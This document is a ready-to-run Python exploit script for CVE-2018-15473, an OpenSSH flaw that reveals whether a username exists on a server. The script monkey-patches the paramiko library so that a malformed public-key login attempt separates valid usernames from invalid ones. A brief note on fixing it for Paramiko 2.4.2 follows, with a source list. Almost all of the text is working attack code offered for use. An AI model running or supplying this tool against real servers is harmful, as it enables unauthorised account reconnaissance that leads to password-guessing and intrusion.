OpenSSH user enumeration (CVE-2018-15473)

ssh-check-username.py

#!/usr/bin/env python

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import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
    pass


def add_boolean(*args, **kwargs):
    pass


old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
    raise InvalidUsername()


paramiko.auth_handler.AuthHandler._client_handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
except socket.error:
    print '[-] Failed to connect'
    sys.exit(1)

transport = paramiko.transport.Transport(sock)
try:
    transport.start_client()
except paramiko.ssh_exception.SSHException:
    print '[-] Failed to negotiate SSH transport'
    sys.exit(2)

try:
    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'

Fixed the following error on lines 39-40 for Paramiko 2.4.2:

Traceback (most recent call last):
  File "./ssh-check-username.py", line 40, in <module>
    paramiko.common.MSG_SERVICE_ACCEPT]
TypeError: 'property' object has no attribute '__getitem__'

Sources:

• OpenSSH user enumeration (CVE-2018-15473)
• OpenSSH Username Enumeration
• ssh-check-username.py